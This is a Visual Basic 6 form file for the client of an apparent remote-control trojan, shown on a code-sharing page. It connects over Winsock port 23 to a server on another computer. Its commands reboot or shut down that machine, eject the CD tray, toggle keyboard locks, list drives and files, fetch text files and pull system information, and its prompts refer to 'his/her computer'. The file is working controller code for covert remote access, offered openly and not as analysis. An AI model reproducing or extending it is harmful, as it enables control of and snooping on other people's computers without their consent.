📄 client.frm
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Form1
BorderStyle = 0 'None
Caption = "Client"
ClientHeight = 810
ClientLeft = 1725
ClientTop = 3240
ClientWidth = 8880
LinkTopic = "Form1"
MaxButton = 0 'False
MDIChild = -1 'True
MinButton = 0 'False
Picture = "client.frx":0000
ScaleHeight = 810
ScaleWidth = 8880
ShowInTaskbar = 0 'False
Begin VB.CommandButton Command13
Caption = "Close Remote Server"
Height = 615
Left = 7560
TabIndex = 14
Top = 120
Width = 1215
End
Begin VB.Timer Timer1
Enabled = 0 'False
Interval = 10
Left = 2280
Top = 240
End
Begin VB.CommandButton Command12
Caption = "Test"
Height = 255
Left = 1680
TabIndex = 13
Top = 120
Width = 735
End
Begin VB.CommandButton Command11
Caption = "MDI Forms"
Height = 255
Left = 9480
TabIndex = 12
Top = 480
Visible = 0 'False
Width = 1095
End
Begin VB.CommandButton Command9
Caption = "Free Forms"
Height = 255
Left = 9600
TabIndex = 11
Top = 0
Visible = 0 'False
Width = 1095
End
Begin VB.CommandButton Command10
Caption = "Misc"
Height = 255
Left = 6360
TabIndex = 10
Top = 480
Width = 1095
End
Begin VB.CommandButton Command8
Caption = "Locks"
Height = 255
Left = 5160
TabIndex = 9
Top = 480
Width = 1095
End
Begin VB.CommandButton Command4
Caption = "Windows"
Height = 255
Left = 3960
TabIndex = 8
Top = 480
Width = 1095
End
Begin VB.CommandButton Command7
Caption = "CD Player"
Height = 255
Left = 2760
TabIndex = 7
Top = 480
Width = 1095
End
Begin VB.CommandButton Command3
Caption = "Printer"
Height = 255
Left = 6360
TabIndex = 6
Top = 120
Width = 1095
End
Begin VB.CommandButton Command6
Caption = "Information"
Height = 255
Left = 5160
TabIndex = 5
Top = 120
Width = 1095
End
Begin VB.CommandButton Command5
Caption = "Mousepad"
Height = 255
Left = 3960
TabIndex = 4
Top = 120
Width = 1095
End
Begin VB.CommandButton Command21
Caption = "Explorer"
Height = 255
Left = 2760
TabIndex = 3
Top = 120
Width = 1095
End
Begin VB.TextBox Text3
Height = 285
Left = 120
TabIndex = 2
Text = "255.255.255.255"
Top = 120
Width = 1455
End
Begin VB.CommandButton Command2
Caption = "Disconnect"
Height = 255
Left = 1320
TabIndex = 1
Top = 480
Width = 1095
End
Begin VB.CommandButton Command1
Caption = "Connect"
Height = 255
Left = 120
TabIndex = 0
Top = 480
Width = 1095
End
Begin MSWinsockLib.Winsock WS
Left = 2880
Top = 7320
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.Menu mnuCDPlay
Caption = "CD Player"
Visible = 0 'False
Begin VB.Menu mnuOT
Caption = "Open Tray"
End
Begin VB.Menu mnuCT
Caption = "Close Tray"
End
Begin VB.Menu mnuBar
Caption = "-"
End
Begin VB.Menu mnyPCD
Caption = "Play CD"
End
Begin VB.Menu mnuSCD
Caption = "Stop CD"
End
End
Begin VB.Menu mnuW
Caption = "Windows"
Visible = 0 'False
Begin VB.Menu mnuShutDown
Caption = "Shut Down"
End
Begin VB.Menu mnuReboot
Caption = "Reboot"
End
Begin VB.Menu mnuStartSS
Caption = "Start Screensaver"
End
End
Begin VB.Menu mnuLocks
Caption = "Locks"
Visible = 0 'False
Begin VB.Menu mnuCapsOn
Caption = "Caps Lock On"
End
Begin VB.Menu mnuNumOn
Caption = "Num Lock On"
End
Begin VB.Menu mnuScrollOn
Caption = "Scroll Lock On"
End
Begin VB.Menu mnuBar2
Caption = "-"
End
Begin VB.Menu mnuCapsOff
Caption = "Caps Lock Off"
End
Begin VB.Menu mnuNumOff
Caption = "Num Lock Off"
End
Begin VB.Menu mnuScrollOff
Caption = "Scroll Lock Off"
End
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command11_Click()
On Error Resume Next
'explorer.MDIChild = True
'Information.MDIChild = True
'Misc.MDIChild = True
'Mousepad.MDIChild = True
'Printt.MDIChild = True
'TextView.MDIChild = True
End Sub
Private Sub Command12_Click()
Timer1.Enabled = True
TimeX = 0
WSsnd "."
End Sub
Private Sub Command13_Click()
WSsnd " 37"
End Sub
Private Sub Command8_Click()
PopupMenu mnuLocks, 0, x + Command8.Left, Y + Command8.Top
End Sub
Private Sub Command9_Click()
On Error Resume Next
'explorer.MDIChild = False
'Information.MDIChild = False
'Misc.MDIChild = False
'Mousepad.MDIChild = False
'Printt.MDIChild = False
'TextView.MDIChild = False
End Sub
Private Sub mnuCapsOff_Click()
WSsnd Str(CapsOff)
End Sub
Private Sub mnuCapsOn_Click()
WSsnd Str(CapsOn)
End Sub
Private Sub Command1_Click()
Mommy.Caption = "Client - [Connecting...]"
WS.Close
WS.Connect Text3.text, 23
End Sub
Private Sub Command10_Click()
Load Misc
Misc.visible = True
End Sub
Private Sub Command2_Click()
WS.Close
Mommy.Caption = "Client"
End Sub
Private Sub Command21_Click()
Load explorer
explorer.visible = True
End Sub
Private Sub Command3_Click()
Load Printt
Printt.visible = True
End Sub
Private Sub Command4_Click()
PopupMenu mnuW, 0, x + Command4.Left, Y + Command4.Top
End Sub
Private Sub Command5_Click()
Load Mousepad
Mousepad.visible = True
End Sub
Private Sub Command6_Click()
WSsnd Str(Info)
Load Information
Information.visible = True
End Sub
Private Sub Command7_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single)
PopupMenu mnuCDPlay, 0, x + Command7.Left, Y + Command7.Top
End Sub
Private Sub mnuStartSS_Click()
WSsnd Str(StartSS)
End Sub
Private Sub Form_Load()
Form1.Left = 0
Form1.Top = 0
Mommy.Width = Form1.Width + 200
Mommy.Height = Form1.Height + 500
Text3.text = WS.LocalIP
Dir = "C:\"
InitVars
End Sub
Private Sub Frame5_DragDrop(Source As Control, x As Single, Y As Single)
End Sub
Private Sub mnuCT_Click()
WSsnd Str(CloseCD)
End Sub
Private Sub mnuOT_Click()
WSsnd Str(OpenCD)
End Sub
Private Sub mnuSCD_Click()
WSsnd Str(StopCD)
End Sub
Private Sub mnyPCD_Click()
WSsnd Str(PlayCD)
End Sub
'WS.SendData Str(CloseServe)
Private Sub mnuNumOff_Click()
WSsnd Str(NumOff)
End Sub
Private Sub mnuNumOn_Click()
WSsnd Str(NumOn)
End Sub
Private Sub mnuReboot_Click()
Dim x
x = MsgBox("Are you sure you want his/her computer to be reset?", vbYesNo, "Reset")
If x = vbYes Then
WSsnd Str(Reset)
End If
End Sub
Private Sub mnuScrollOff_Click()
WSsnd Str(ScrollOff)
End Sub
Private Sub mnuScrollOn_Click()
WSsnd Str(ScrollOn)
End Sub
Private Sub mnuShutDown_Click()
Dim x
x = MsgBox("Are you sure you want his/her computer to be shut down?", vbYesNo, "Shut Down")
If x = vbYes Then
WSsnd Str(ShutDown)
End If
End Sub
Private Sub NumOnA_Click()
End Sub
Private Sub Text3_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then
Mommy.Caption = "Client - [Connecting...]"
WS.Close
WS.Connect Text3.text, 23
End If
End Sub
Private Sub Timer1_Timer()
TimeX = TimeX + 10
End Sub
Private Sub WS_DataArrival(ByVal BytesTotal As Long)
Dim thedata As String
WS.GetData thedata
If thedata = Str(Connected) Then
Mommy.Caption = "Client - [Connected to " & WS.RemoteHostIP & "]"
ElseIf thedata = Str(DConn) Then
Mommy.Caption = "Client"
ElseIf thedata = "." Then
Timer1.Enabled = False
MsgBox ("Test OK: " & TimeX & "ms"), vbInformation, "Test"
ElseIf Mid(thedata, 1, 3) = Str(Info) Then
Information.Text1.text = Mid(thedata, 4, Len(thedata) - 4)
ElseIf Mid(thedata, 1, 3) = Str(Files) Then
DispFiles Mid(thedata, 4, Len(thedata) - 5)
ElseIf Mid(thedata, 1, 3) = Str(Drive) Then
DispDrives Mid(thedata, 4, Len(thedata) - 5)
ElseIf Mid(thedata, 1, 3) = Str(SendTxtFile) Then
ShowTF Mid(thedata, 4, Len(thedata) - 5)
End If
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -